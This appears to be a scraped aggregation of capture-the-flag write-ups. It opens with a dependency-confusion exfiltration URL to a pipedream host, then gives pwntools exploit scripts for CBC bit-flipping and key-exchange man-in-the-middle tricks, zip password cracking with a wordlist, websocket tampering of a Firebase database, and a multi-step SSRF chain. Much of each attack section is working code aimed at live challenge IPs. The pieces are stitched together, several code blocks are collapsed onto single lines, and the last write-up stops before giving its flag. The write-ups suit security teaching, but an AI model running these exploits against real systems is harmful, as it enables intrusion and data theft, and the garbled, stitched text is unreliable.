URL: `https://ene63d9dv33i6ch.m.pipedream.net/?answer=VGhpcyBpcyB3aGF0IHdlIGNhbGwgJ0RlcGVuZGVuY3kgY29uZnVzaW9uJ1xudGhhdCBpcyB3ZWxs%0AIGV4cGxhaW5lZCBoZXJlICh0aGlzIGlzIG5vdCBteSBhcnRpY2xlIGJ1dCBJIGxpa2VkIGl0KSBo%0AdHRwczovL21lZGl1bS5jb20vQGFsZXguYmlyc2FuL2RlcGVuZGVuY3ktY29uZnVzaW9uLTRhNWQ2%0AMGZlYzYxMCAuXG4gV2hpY2ggaXMgcGFydCBvZiB0aGUgT3BlbiBTb3VyY2UgU29mdHdhcmUgU3Vw%0AcGx5IENoYWluIEF0dGFja3MuXG5GbGFnOiBTZWN1cmluZXRze0QzUDNOZDNuY3lfQzBuRnU1IW5f%0AeERfd2VyZV95b3VfY29uZnVzZWRfZW5vdWdofVxuV2UgZGlkbid0IHdhbnQgdG8gbWFrZSBpdCBt%0Ab3JlIGRpZmZpY3VsdCB0byB0YWtlIGluIGNvbnNpZGVyYXRpb24gd2hhdCBhbGwgdGhlIHRlYW1z%0AIG5lZWQgYXMgcmVxdWlyZW1lbnRzLiBUaGlzIGlzIHdoeSBmb3IgdGhlIHRpbWUgYmVpbmcgd2Ug%0AYXJlIG5vdCByZXF1ZXN0aW5nIGRpZmZpY3VsdCB0YXNrIChqdXN0IHJlYWQgdGhpcyBmaWxlIGlz%0AIGVub3VnaCkgYnV0IHRoZSBtaXNzY29uZmlndXJhdGlvbiBoZXJlIGlzIHRpZWQgd2l0aCB0aGUg%0ALS1leHRyYS1pbmRleC11cmwuIFlvdSBjYW4gY2hlY2sgdGhlIC9ldGMvcGlwLmNvbmYgaWYgeW91%0AIGFyZSBjdXJpb3VzIHRvIHNlZSBpZiB0aGlzIGlzIGEgcmVhbCB0YXNrIG9yIHdhcyBpdCBmYWtl%0AZC4=%0A`
Now, when I take the answer's value and I decode it in a base64 decoding tool, I can see the following output: [https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true)](https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true))
Output:
```This is what we call 'Dependency confusion'\nthat is well explained here (this is not my article but I liked it) https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 .\n Which is part of the Open Source Software Supply Chain Attacks.\nFlag: Securinets{D3P3Nd3ncy_C0nFu5!n_xD_were_you_confused_enough}\nWe didn't want to make it more difficult to take in consideration what all the teams need as requirements. This is why for the time being we are not requesting difficult task (just read this file is enough) but the missconfiguration here is tied with the --extra-index-url. You can check the /etc/pip.conf if you are curious to see if this is a real task or was it faked.```
So, the flag is: `Securinets{D3P3Nd3ncy_C0nFu5!n_xD_were_you_confused_enough}`.
### Bonus from the author
The task became easy from the beginning when the published packages were discovered to be leaked in Tencent mirrors quickly and they are indexed in Google cache. And even though, the participant should know how the dependency confusion works, what he should perform and why it worked in this case. Otherwise, people will try to upload stolen packages without modifying the payloads or they try to execute it locally which is not the recommended solution.___
# Scoreboard
This is the tasks list released on the CTF and the scoreboard that you can find in [ctftime](https://ctftime.org/event/1308):
|
The goal is to find the value of n used in the exp_by_squaring function. Each operation has its own unique response time fingerprint. If we can acquire the sequence of operations from target.csv, then we can use this set to reverse the bits of n, one-by-one. A sequence of "m p d" operations indicate a 0 bit and "p d" tells us that the bit was 1.
This setting is a classical data science scenario: We have a training dataset with feature vectors and classification and a test dataset with the same amount of features per entry but without classification. Our goal is to use the training set to train a classifier model and apply it on the test set to assign classes to it. With the obtained sequence, we are able to reconstruct the value n. |
## SolutionCyberChef can be used to base64 decode the string, then BSON deserialize the result:
The result is a string, and a list of integers. Use the list of integers as indexes into the string to get the flag:```python>>> indexes = [5,11,0,6,27,18,14,13,26,14,5,26,0,26,1,18,14,13,28]>>> s = "abcdefghjiklmnopqrstuvwxyz_{}">>> flag = "">>> for i in indexes:... flag += s[i]...>>> print(flag)flag{son_of_a_bson}```
## Flag**flag{son_of_a_bson}** |
The file `app.py` contains an implementation of Diffie-Hellman (`DHx` class), with fingerprinting too.Assuming `Alice`, `Bob` and `Carol` have private keys `a`, `b` and `c` respectively, the following desrbies the key-exchange scheme:1. `Alice` sends `g^a (mod p)` to `Bob`.2. `Bob` raises by `b`, generating `g^ab (mod p)` and sends that to `Carol`.3. `Carol` receives, raises by `b` and keeps that as the secret: `g^abc (mod p)`.
If we denote this chain as `A --> B --> C` then similar chains happen to get everyone synced to the same secet: `B --> C --> A` and `C --> A --> B`.
As the name suggests, the attacker is a MiTM (man-in-the-middle) and can interfere with all comms, but there is a catch: after all of the exchanges, everyone compares their secrets (as fingerprinting), and `Alice` will only send the encrypted flag if this check passes.This is kind of equivalent to the QR code option inside WhatsApp to ensure key exchange hasn't been tampered.
So, as an attacker, I didn't find any way to break the d-log problem, but I do note that the key exchange has a weekness, as the receiving party still trusts the sending party to follow the "correct" key exchange schema.For example, if as an attacker I send to `Carol` some number `x` instead of `g^ab (mod p)`, then `Carol` blindly trusts it and calculates the secret `x^c (mod p)`. There is a limitation, however, as the code checks that the input is stricly larger than 1 and strictly smaller than `p`.
Therefore, I have decided to supply `x = -1 = p-1 (mod p)`. Note that raising `-1` to any power results in either `1` or `-1` (which is again, `p-1`). So, supplying `Carol`, for instacne, with `p-1` results in her saving the joint key as either `1` or `p-1`, randomly.This needs to be done to each party, and each of them "randomly" generates either `1` or `p-1`.What are the chances of all parties to agree on a key? Well, there are `2^3=8` possibilities and only in `2` of them there is an agreement, so the chances are `2/8 = 0.25%`, which is pretty good odds.
After a successful run, we only need to guess the shared secret out of 2 possibilities (`1` or `p-1`), which is easy to do.
The solution is therefore:```pythonfrom pwn import *
import hashlibfrom Crypto.Cipher import AESfrom Crypto.Util.number import long_to_bytes
p = 0xf18d09115c60ea0e71137b1b35810d0c774f98faae5abcfa98d2e2924715278da4f2738fc5e3d077546373484585288f0637796f52b7584f9158e0f86557b320fe71558251c852e0992eb42028b9117adffa461d25c8ce5b949957abd2a217a011e2986f93e1aadb8c31e8fa787d2710683676f8be5eca76b1badba33f601f45
minus_one = p-1
output = ''while True:
print('Starting attempt...') conn = remote('crypto1.q21.ctfsecurinets.com', 1337)
for i in range(3): conn.recvline() conn.recvuntil(': ') conn.sendline(str(minus_one)) conn.recvline() conn.recvuntil(': ') conn.sendline(str(minus_one))
conn.recvline().decode('ascii') # "Alice says" output = conn.recvline().decode('ascii') if 'ABORT MISSION' in output: print('Attempt failed, rerying...') continue print('Success %s' % (output,)) break
crypt_bytes = bytes.fromhex(output.strip())iv = crypt_bytes[:16]encrypted = crypt_bytes[16:]
# Try key=p-1key = hashlib.sha1(long_to_bytes(minus_one)).digest()[:16]print(AES.new(key, AES.MODE_CBC, iv).decrypt(encrypted))
# Try key=1key = hashlib.sha1(long_to_bytes(1)).digest()[:16]print(AES.new(key, AES.MODE_CBC, iv).decrypt(encrypted))``` |
# babycrypto2
## Source Code
```python#!/usr/bin/env pythonfrom base64 import b64decodefrom base64 import b64encodeimport socketimport multiprocessing
from Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad, unpadimport hashlibimport sys
class AESCipher: def __init__(self, key): self.key = key
def encrypt(self, data): iv = get_random_bytes(AES.block_size) self.cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + self.cipher.encrypt(pad(data, AES.block_size)))
def encrypt_iv(self, data, iv): self.cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + self.cipher.encrypt(pad(data, AES.block_size)))
def decrypt(self, data): raw = b64decode(data) self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size]) return unpad(self.cipher.decrypt(raw[AES.block_size:]), AES.block_size)
flag = open("flag", "rb").read().strip()
AES_KEY = get_random_bytes(AES.block_size)TOKEN = b64encode(get_random_bytes(AES.block_size*10-1))COMMAND = [b'test',b'show']PREFIX = b'Command: '
def run_server(client): client.send(b'test Command: ' + AESCipher(AES_KEY).encrypt(PREFIX+COMMAND[0]+TOKEN) + b'\n') while(True): client.send(b'Enter your command: ') tt = client.recv(1024).strip() tt2 = AESCipher(AES_KEY).decrypt(tt) client.send(tt2 + b'\n') if tt2 == PREFIX+COMMAND[1]+TOKEN: client.send(b'The flag is: ' + flag) client.close() break
if __name__ == '__main__': server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', 16002)) server.listen(1)
while True: client, address = server.accept()
process = multiprocessing.Process(target=run_server, args=(client, )) process.daemon = True process.start()```
## Solution
This challenge in my opinion was easier than the previous one. In this case the goal is to get the string to look like `Command: show+token` instead of `Command: test+token`.
Again going back to our diagram, in this case we actually only need to modify the IV so that when it is XORed with the decrypted ciphertext it gives `Command: show+token`. Since we know that:
$$IV \oplus cipher = test$$
Thus we just need to do the following:
$$\Rightarrow IV \oplus cipher \oplus test \oplus show = test \oplus test \oplus show = show$$
### Solution Code
```pythonfrom base64 import b64decodefrom base64 import b64encodefrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad, unpad
from pwn import *
import hashlibimport sys
r = remote("35.200.39.68", 16002, level='debug')
line = str(r.recvline().replace(b'\n', b'')).split(": ")
testcommand = line[1]
iv = b64decode(testcommand)[:16]payload = b64decode(testcommand)[16:]
iv = iv[:9] + xor(xor(iv[9:13], b'test'), b'show') + iv[13:]
payload = b64encode(iv+payload)r.recvuntil(b'Enter your command: ')r.sendline(testcommand)r.recvuntil(b'Enter your command: ')r.sendline(payload)r.recv()r.recv()``` |
# HumanServer
## Source Code
```pythonimport os, random, hashlib, textwrap, jsonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import getPrime, long_to_bytes
from fastecdsa.curve import secp256k1from fastecdsa.point import Point
FLAG = b'union{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}'
CURVE = secp256k1ORDER = CURVE.qG = CURVE.G
print(ORDER)
class EllipticCurveKeyExchange(): def __init__(self): self.private = random.randint(0,ORDER) self.public = self.get_public_key() self.recieved = None self.nonce = None self.key = None
def get_public_key(self): A = G * self.private return A
def send_public(self): return print(json.dumps({"Px" : self.public.x, "Py" : self.public.y}))
def receive_public(self, data): """ Remember to include the nonce for ultra-secure key exchange! """ Px = int(data["Px"]) Py = int(data["Py"]) self.recieved = Point(Px, Py, curve=secp256k1) self.nonce = int(data['nonce'])
def get_shared_secret(self): """ Generates the ultra secure secret with added nonce randomness """ assert self.nonce.bit_length() > 64 self.key = (self.recieved * self.private).x ^ self.nonce print(self.key)
def check_fingerprint(self, h2: str): """ If this is failing, remember that you must send the SAME nonce to both Alice and Bob for the shared secret to match """ h1 = hashlib.sha256(long_to_bytes(self.key)).hexdigest() return h1 == h2
def send_fingerprint(self): return hashlib.sha256(long_to_bytes(self.key)).hexdigest()
def print_header(title: str): print('\n\n'+'*'*64+'\n'+'*'+title.center(62)+'*\n'+'*'*64+'\n\n')
def input_json(prompt: str): data = input(prompt) try: return json.loads(data) except: print({"error": "Input must be sent as a JSON object"}) exit()
def encrypt_flag(shared_secret: int): iv = os.urandom(16) key = hashlib.sha1(long_to_bytes(shared_secret)).digest()[:16] cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(FLAG, 16))
data = {} data['iv'] = iv.hex() data['encrypted_flag'] = ciphertext.hex() return print(json.dumps(data))
Alice = EllipticCurveKeyExchange()Bob = EllipticCurveKeyExchange()
print_header('Welcome!') message = "Hello! Thanks so much for jumping in to help. Ever since everyone left WhatsApp, we've had a hard time keeping up with communications. We're hoping by outsourcing the message exchange to some CTF players we'll keep the load down on our servers... All messages are end-to-end encrypted so there's no privacy issues at all, we've even rolling out our new ultra-secure key exchange with enhanced randomness! Again, we really appreciate the help, feel free to add this experience to your CV!"welcome = textwrap.fill(message, width=64) print(welcome)
print_header('Alice sends public key')Alice.send_public()
print_header("Please forward Alice's key to Bob")alice_to_bob = input_json('Send to Bob: ')Bob.receive_public(alice_to_bob)
print_header('Bob sends public key')Bob.send_public()
print_header("Please forward Bob's key to Alice")bob_to_alice = input_json('Send to Alice: ')Alice.receive_public(bob_to_alice) Alice.get_shared_secret()Bob.get_shared_secret()
print_header('Key verification in progress')alice_happy = Alice.check_fingerprint(Bob.send_fingerprint())bob_happy = Bob.check_fingerprint(Alice.send_fingerprint())if not alice_happy or not bob_happy: print({"error": "Alice and Bob panicked: Potential MITM attack in progress!!"}) exit()
print_header('Alice sends encrypted flag to Bob')encrypt_flag(Alice.key)
```
## Solution
Here we are taking the role of an attacker in between Alice and Bob and we can modify the parameters that they send each other. The curve looks secure as well so we can't really attack that.
The interesting portion is the nonce that they use:
```python def get_shared_secret(self): """ Generates the ultra secure secret with added nonce randomness """ assert self.nonce.bit_length() > 64 self.key = (self.recieved * self.private).x ^ self.nonce print(self.key)
```
We can see here that they XOR the nonce with the shared key and check that they have the same shared key afterwards.To exploit that I went with the following approach:
- Use the generator of the curve as your key- Send the point that was generated by Alice as the nonce to Bob and vice versa
This means that we get the following
$$(a * G) \oplus B = A \oplus B $$
So now their shared key is basically `A ^ B` and we can then decrypt the flag with that
## Solution Code
```pythonimport os, random, hashlib, textwrap, jsonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import getPrime, long_to_bytes
from pwn import *
from fastecdsa.curve import secp256k1from fastecdsa.point import Point
r = remote('134.122.111.232', 54321, level='debug')
def json_recv(): line = r.recvuntil("}") return json.loads(line.decode())
def json_send(hsh): request = json.dumps(hsh).encode() r.sendline(request)
CURVE = secp256k1ORDER = CURVE.qG = CURVE.G
def get_public_key(private): A = G * private return A
def get_nonce(private, received): r = Point(int(received["Px"]), int(received["Py"]), curve=secp256k1) return (r * private).x
def decrypt_flag(shared_secret: int, iv: str, ciphertext: str): key = hashlib.sha1(long_to_bytes(shared_secret)).digest()[:16] cipher = AES.new(key, AES.MODE_CBC, bytes.fromhex(iv)) plaintext = cipher.decrypt(bytes.fromhex(ciphertext))
return unpad(plaintext, 16).decode()
mykey = get_public_key(1)
r.recvuntil("Alice sends public key")r.recv()
Alice = json_recv()print(Alice)r.recvuntil("Send to Bob: ")
to_bob = { "Px": mykey.x, "Py": mykey.y, "nonce": get_nonce(1, Alice)}
json_send(to_bob)
r.recvuntil("Bob sends public key")r.recv()
Bob = json_recv()print(Bob)r.recvuntil("Send to Alice: ")
to_alice = { "Px": mykey.x, "Py": mykey.y, "nonce": get_nonce(1, Bob)}
json_send(to_alice)
r.recvuntil("Alice sends encrypted flag to Bob")print(r.recvuntil("\n\n"))
flag = json_recv()print(flag)
shared = Alice["Px"] ^ Bob["Px"]
print(decrypt_flag(shared, flag["iv"], flag["encrypted_flag"]))``` |
# babycrypto3
We are given a `pub.pem` file. Load it into pycryptodome and we see that the bit length of `n` is very small so it can be factorized. Using `msieve` we get the two factors `p` and `q` of `n`. Later on the CTF, that was doable with RSACTFTool since a kindered soul decided to publish the factorization on factordb. We can then decrypt with the following:
```pythonfrom Crypto.PublicKey import RSAfrom Crypto.Util.number import long_to_bytes, bytes_to_longfrom Crypto.Cipher import AES, PKCS1_OAEPfrom base64 import b64decodefrom base64 import b64encode
with open('pvt.pem', 'r') as f: key = RSA.import_key(f.read())
with open('ciphertext.txt', 'rb') as f: cipher = bytes_to_long(f.read())
assert key.d == pow(key.e, -1, (key.p-1)*(key.q-1))
print(long_to_bytes(pow(cipher, key.d, key.n)))```
We get the following string
```\x02`g\xff\x85\x1e\xcd\xcba\xe5\x0b\x83\xa5\x15\xe3\x00Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==\n```
We can see that there is some base64 at the end. When we decrypt that, we get something readble. Place that in the flag format and BINGO.
```python# decrypt the b64 at the end and put it in the flag format afterwardsm = "Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg=="print(b64decode(m))# LINECTF{CLOSING THE DISTANCE.}``` |
## SolutionThe provided zip is password protected, so we can use `fcrackzip` to identify a password with the command `fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt turtles128.zip` The password is found to be `0`, and the resulting file is a zip named `turtles127.zip`. `fcrackzip` on this zip gives the password as `1`. This pattern keeps repeating, with the password either being `0` or `1`. [`turtles.py`](https://gitlab.com/malcrypt/ctf-archive/-/blob/master/2021/tenable/stego/turtles/turtles.py) repeats these actions to get to the final file. The final file is named `key.png`.
Assembling the `0`s and `1`s from the passwords and converting to hex results in this encrypted blob:```3dc906f6928ee882ccb1b8bdd14aa24c```
`key.png` contains 16 bytes, so a good guess is that the ciphertext is encrypted with AES. Since we do not know an IV, we try ECB mode first.
## Flag**flag{steg0_a3s}** |
# babycrypto1
## Source code
```python#!/usr/bin/env pythonfrom base64 import b64decodefrom base64 import b64encodeimport socketimport multiprocessing
from Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad, unpadimport hashlibimport sys
class AESCipher: def __init__(self, key): self.key = key
def encrypt(self, data): iv = get_random_bytes(AES.block_size) self.cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + self.cipher.encrypt(pad(data, AES.block_size)))
def encrypt_iv(self, data, iv): self.cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + self.cipher.encrypt(pad(data, AES.block_size)))
def decrypt(self, data): raw = b64decode(data) self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size]) return unpad(self.cipher.decrypt(raw[AES.block_size:]), AES.block_size)
flag = open("flag", "rb").read().strip()
COMMAND = [b'test',b'show']
def run_server(client, aes_key, token): client.send(b'test Command: ' + AESCipher(aes_key).encrypt(token+COMMAND[0]) + b'\n') client.send(b'**Cipher oracle**\n') client.send(b'IV...: ') iv = b64decode(client.recv(1024).decode().strip()) client.send(b'Message...: ') msg = b64decode(client.recv(1024).decode().strip()) client.send(b'Ciphertext:' + AESCipher(aes_key).encrypt_iv(msg,iv) + b'\n\n') while(True): client.send(b'Enter your command: ') tt = client.recv(1024).strip() tt2 = AESCipher(aes_key).decrypt(tt) client.send(tt2 + b'\n') if tt2 == token+COMMAND[1]: client.send(b'The flag is: ' + flag) client.close() break
if __name__ == '__main__': server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', 16001)) server.listen(1)
while True: client, address = server.accept()
aes_key = get_random_bytes(AES.block_size) token = b64encode(get_random_bytes(AES.block_size*10))[:AES.block_size*10]
process = multiprocessing.Process(target=run_server, args=(client, aes_key, token)) process.daemon = True process.start()```
## Solution
Reading the source code, we can see that the idea is to replace the last block of encryption with `show` instead of `test`.In addition, the server allows us to encrypt a string with a given IV.
When you look at the following diagram of AES_CBC decryption, you see that the last block is basically decrypted and then XORed with the previous block. So if we encrypt the string `show` with the previous block as the IV we would get the correct final block.Then we just need to replace that in the string that we were given at the start from the server and we can go ahead and send that to the serevr.
### Solution Code
```python![](from base64 import b64decodefrom base64 import b64encodefrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad, unpad
from pwn import *
import hashlibimport sys
r = remote("35.200.115.41", 16001, level='debug')
line = str(r.recvline().replace(b'\n', b'')).split(": ")http://)r.recv()
testcommand = line[1]
iv = b64encode(b64decode(testcommand)[:16])
token = b64encode(b64decode(testcommand)[16:AES.block_size*10+16])tokenlast = b64decode(token)[-16:]r.sendline(b64encode(tokenlast))
r.sendline(b64encode(b'show'))line = str(r.recvline().replace(b'\n', b'')).split(":")
encryptedshow = line[2]
payload = b64encode(b64decode(iv)+b64decode(token)+b64decode(encryptedshow)[16:])r.recvuntil(b'Enter your command: ')r.sendline(testcommand)r.recvuntil(b'Enter your command: ')r.sendline(payload)r.recv()r.recv()```
## Rabbit Holes
- One thing that I kept doing was XORing `show` with the IV and the lastblock that have it work and send the IV at the start of the string sent by the server as the encryption IV but this didn't work because `show` was XORed with the lastblock before encryption- I also tried padding `show` to make it have the right length but that didn't work because the data was additionally padded |
# Speedrun 4
Web
### Description[https://udctf-fb.firebaseapp.com/](https://udctf-fb.firebaseapp.com/)
### Solution
#### DiscoveryWe used BurpSuiteAt first, we disable interceptUnder Proxy -> WebSockets history, we filtered such that we only saw outgoing messagesWe see that it always sends 4 timesThe content are as follows:1. `{"t":"d","d":{"r":1,"a":"s","b":{"c":{"sdk.js.8-3-1":1}}}}`2. `{"t":"d","d":{"r":2,"a":"q","b":{"p":"/books","h":""}}}`3. `{"t":"d","d":{"r":3,"a":"n","b":{"p":"/books"}}}`4. `{"t":"d","d":{"r":4,"a":"q","b":{"p":"/books","h":""}}}`
We realise that they access directories
#### Getting the flagWe enable intercept to see the incoming messagesWe edit the 2nd and 3rd messages2nd message became `{"t":"d","d":{"r":1,"a":"q","b":{"p":"/flag","h":""}}}`3rd message became `{"t":"c","d":{"t":"p","d":{flag}}}`Then, it returned a message with the flag `{"t":"d","d":{"b":{"p":"flag","d":"UDCTF{l34rn_d4t4b4s3_rul3s}"},"a":"d"}}`
> UDCTF{l34rn_d4t4b4s3_rul3s}
#### Obligatory bragging rightsMy second ever first-blood on the same ctf LOL |
## Solution`speech.dat` is a binary file without any obvious structure. Given the clue of the challenge name, and the name of the file, we can guess that `speech.dat` may be the text of Martin Luther King Jr's "I Have a Dream" speech. We can also guess that the encryption method may be XOR. If we XOR the beginning of the "I Have a Dream" speech with the given ciphertext, we recover a key that makes sense:```python>>> from pwn import *>>> plaintext = b"I am happy to join with you today in what will go down in history">>> ciphertext = open("speech.dat", "rb").read()>>> xor(plaintext, ciphertext[:len(plaintext)])b'BlackLivesMatterBlackLivesMatterBlackLivesMatterBlackLivesMatterB'```
The XOR key is `BlackLivesMatter`. We can XOR this with the entire ciphertext to get the plaintext:```python>>> from pwn import *>>> speech = xor(ciphertext, b"BlackLivesMatter").decode("windows-1252").replace("\n", "")```We choose `windows-1252` as the decoding because the plaintext from XORing resulted in characters that are point codes in [Windows-1252](https://en.wikipedia.org/wiki/Windows-1252). We also replaced the newlines on a hunch because the last step of the flag recovery doesn't work if you don't.
Finally, the challenge gave us a list of integers. These are offsets into the resulting plaintext. This allows us to reconstruct the flag:```python>>> indexes = [8337,669,8972,3621,8898,5581,8720,1900,5208]>>> flag = "">>> for i in indexes:... flag += speech[i]...>>> print(flag)ROsAParkS```
## Flag**flag{ROsAParkS}** |
# diveinternal - LineCTF
- Category: Web- Points: 50- Solves: 65- Solved by: SM_SC2, Iregon, raff01
## Description
Target the server's internal entries, access admin, and roll back.
Keytime: Asia/Japan
## Analysis
We have three services:- `public`: flask web application (http://35.200.63.50/)- `private`: node.js web application (http://private:5000/)- nginx proxy server
Only public service is accessible to us.
As the name and the description suggest, the challenge can be solved with an SSRF attack. Looking at the code, opening `private/app/templates/index.html`, we can read `This is ssrf munjae internal progran`. So we are certain of the attack to do.At this point, we have to find the flag and a way to obtain it.
## Solution
### 1. FIND THE POINT OF CONTACTSearching for the flag inside the private directory, we can see `FLAG` file. Also, this file is read from the `RunRollbackDB` function at `private/app/rollback.py`.
```pythondef RunRollbackDB(dbhash): try: if os.environ['ENV'] == 'LOCAL': return if dbhash is None: return "dbhash is None" dbhash = ''.join(e for e in dbhash if e.isalnum()) if os.path.isfile('backup/'+dbhash): with open('FLAG', 'r') as f: flag = f.read() return flag else: return "Where is file?"```
This function is called by `Commit` and `IntegrityCheck` functions in `main.py`, but only the second one returns the flag to the caller...
```pythondef IntegrityCheck(self,key, dbHash): if self.integrityKey == key: pass else: return json.dumps(status['key']) if self.dbHash != dbHash: flag = RunRollbackDB(dbHash) logger.debug('DB File changed!!'+dbHash) file = open(os.environ['DBFILE'],'rb').read() self.dbHash = hashlib.md5(file).hexdigest() self.integrityKey = hashlib.sha512((self.dbHash).encode('ascii')).hexdigest() return flag return "DB is safe!" ```... and, again, this is called by `IntegrityCheckWorker` and `rollback` functions. As before, only rollback is useful. Also, it's an endpoint.
```[email protected]('/rollback', methods=['GET'])def rollback():```
Now, we need a way to call it from the public service.
Only `public/src/routes/apis.js` seems interesting. It has three public endpoints, each of which, in turn, calls a private endpoint.
| Endpoint | Access point ||------------|----------------------|| `/` | headers || `/coin` | headers || `/addsub` | query string (email) |
Looking at `private/app/main.py` we have that `LanguageNomarize` function, which is called by `/coin`, uses the `Lang` header to make an HTTP request.
```pythondef LanguageNomarize(request): if request.headers.get('Lang') is None: return "en" else: regex = '^[!@#$\\/.].*/.*' # Easy~~ language = request.headers.get('Lang') language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language) if re.search(regex,language): return request.headers.get('Lang') try: data = requests.get(request.host_url+language, headers=request.headers) if data.status_code == 200: return data.text else: return request.headers.get('Lang') except: return request.headers.get('Lang')```**WE FOUND THE POINT OF CONTACT!**
### 2. ACCESS TO `/rollback`
`re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)` doesn't allow us to do path traversal.Regex `^[!@#$\\/.].*/.*`, instead, permits every type of "standard" HTTP request. So we can call whatever endpoint we want, even using query parameters.
We send an HTTP request to `apis/coin` with the headers:- `Host: private:500`- `Lang: rollback`
So we have `request.host_url = http://private:500/` and `language = rollback`.
Before making the request, we must remove all the unnecessary headers to comply with the constraint given by the `before_request` function
```[email protected]_requestdef before_request(): if str(request.url_rule) not in list_routes(): return json.dumps(status['error']), 404 if request.headers.get('Sign') != None: if len(request.headers)>8: result = status['admin'] result['message'] = result['message']+str(len(request.headers)) return json.dumps(result), 404```As we can see from `/coin` function code, the response will set the `Lang` header.
```[email protected]('/coin', methods=['GET'])def coin(): try: response = app.response_class() language = LanguageNomarize(request) response.headers["Lang"] = language data = getCoinInfo() response.data = json.dumps(data) return response except Exception as e : err = 'Error On {f} : {c}, Message, {m}, Error on line {l}'.format(f = sys._getframe().f_code.co_name ,c = type(e).__name__, m = str(e), l = sys.exc_info()[-1].tb_lineno) logger.error(err)```
We received the message `{"message": "Not Allowed"}`. It comes from `/rollback` function (`status['sign']`). We are inside!
### 3. `SignCheck` BYPASS
Let's analyse the function.
```[email protected]('/rollback', methods=['GET'])def rollback(): try: if request.headers.get('Sign') == None: return json.dumps(status['sign']) else: if SignCheck(request): pass else: return json.dumps(status['sign'])
if request.headers.get('Key') == None: return json.dumps(status['key']) result = activity.IntegrityCheck(request.headers.get('Key'),request.args.get('dbhash')) return result except Exception as e : err = 'Error On {f} : {c}, Message, {m}, Error on line {l}'.format(f = sys._getframe().f_code.co_name ,c = type(e).__name__, m = str(e), l = sys.exc_info()[-1].tb_lineno) logger.error(err) return json.dumps(status['error']), 404```
It requires a `Sign` header. Also, there is a `SignCheck`.
```pythondef SignCheck(request): sigining = hmac.new( privateKey , request.query_string, hashlib.sha512 )
if sigining.hexdigest() != request.headers.get('Sign'): return False else: return True```As we can see, the sign consists of sha512 of the `query_string` parameters. In addition, it requires a `private_key`. Fortunately, we have it.
It's time to use `docker-compose up --build`. Before doing this, we have to add some logging to obtain the Sign. Also, we have to modify `private/app/coinapi.py` so it returns fake data.
So, let's launch the containers, send the HTTP request to localhost using a random Sign and get what will be logged.
Now we can resend the request to the real server with the updated Sign...... and receive `{'message': 'Key error'}`.
### 4. `Key` BYPASSThe service requires a `Key` header. Then it calls `activity.IntegrityCheck(request.headers.get('Key'),request.args.get('dbhash'))`.So, we need also the `dbhash` query parameter.
Let's analyse `IntegrityCheck`
```pythondef IntegrityCheck(self,key, dbHash): if self.integrityKey == key: pass else: return json.dumps(status['key']) if self.dbHash != dbHash: flag = RunRollbackDB(dbHash) logger.debug('DB File changed!!'+dbHash) file = open(os.environ['DBFILE'],'rb').read() self.dbHash = hashlib.md5(file).hexdigest() self.integrityKey = hashlib.sha512((self.dbHash).encode('ascii')).hexdigest() return flag return "DB is safe!"```We need a valid key. Looking at the code, we see that the key is updated by the `UpdateKey` function, called by `IntegrityCheck` and `Commit`.
```pythondef UpdateKey(self): file = open(os.environ['DBFILE'],'rb').read() self.dbHash = hashlib.md5(file).hexdigest() self.integrityKey = hashlib.sha512((self.dbHash).encode('ascii')).hexdigest()```
**We have a problem!** We need the md5 of the remote db (`dbHash`).
Fortunately, there is `/integrityStatus` which provides it.
Call [key_gen.py](key_gen.py) script using the obtained `dbHash` and get the `Key`.
Add the key to the header, add `dbHash` to `Lang` as query parameter of `/rollback` and update the `Sign`.
A new error: `DB is safe!`
### 5. `dbHash` BYPASSThe error is generated by `IntegrityCheck`.
We need a `dbHash` different from the one which has generated the key. The main problem is that the `RunRollbackDB` function inside `private/app/rollback.py` needs a `dbHash` that matches a valid backup file.
```pythondef RunRollbackDB(dbhash): try: if os.environ['ENV'] == 'LOCAL': return if dbhash is None: return "dbhash is None" dbhash = ''.join(e for e in dbhash if e.isalnum()) if os.path.isfile('backup/'+dbhash): with open('FLAG', 'r') as f: flag = f.read() return flag else: return "Where is file?"```
Looking at the code, again, we have the `WriteFile` function called by `/download` private endpoint.
```pythondef WriteFile(url): local_filename = url.split('/')[-1] with requests.get(url, stream=True) as r: r.raise_for_status() with open('backup/'+local_filename, 'wb') as f: for chunk in r.iter_content(chunk_size=8192): f.write(chunk)```
Thanks to `url.split('/')[-1]`, we need a custom service having an endpoint that ends with the filename we want to create.For example `http://hostname/50e392a63630e8643c67c87b49934501`. So we can create a simple PHP script inside a folder with that name.
Unfortunately, `/download` needs a `Sign`, so we have to obtain a new one.
### 6. GET THE FLAG
## Flag
